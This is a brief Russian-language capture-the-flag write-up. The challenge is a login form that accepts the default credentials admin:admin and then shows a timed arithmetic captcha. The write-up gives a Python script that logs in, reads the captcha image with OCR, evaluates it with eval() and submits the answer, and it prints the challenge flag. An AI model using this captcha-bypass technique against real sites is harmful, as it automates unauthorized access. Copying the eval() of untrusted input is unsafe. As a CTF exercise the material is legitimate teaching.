На главной странице логин форма. Комбинация admin:admin
вызывает появление простой математической капчи с таймером в несколько секунд.
Суть задания в автоматизации ввода капчи, хотя если выпадут хорошие числа можно успеть ввести капчу и вручную.
poc.py
:
#!/usr/bin/python2
# -*- coding: utf-8 -*-
import os
import sys
import requests
import re
import pytesseract
url = 'http://13.owaspctf.gq'
ctf = requests.Session()
login = 'admin'
password = 'admin'
def poc():
ctf.get(url)
response = ctf.post(url, data={'login':login,'password':password})
if 'img.php' not in response.text:
raise
image = ctf.get(url + '/img.php', stream=True).content
open('./captcha.png', 'wb').write(image)
captcha = pytesseract.image_to_string('./captcha.png', config='-c tessedit_char_whitelist=0123456789()+-*/ psm 100')
assert( re.search(r'^\((\d+)\+(\d+)\)\*(\d+)-(\d+)$', captcha) )
#print('{} = {}'.format(captcha, eval(captcha)))
response = ctf.post(url, data={'login':login,'password':password,'captcha':eval(captcha)}, allow_redirects=False)
if 'FLAG' not in response.text:
raise
match = re.search(r'(FLAG\{[^}]+\})', response.text)
if not match:
raise
print(match.group(1))
if __name__ == '__main__':
poc()
FLAG{completely_automated_public_turing_test}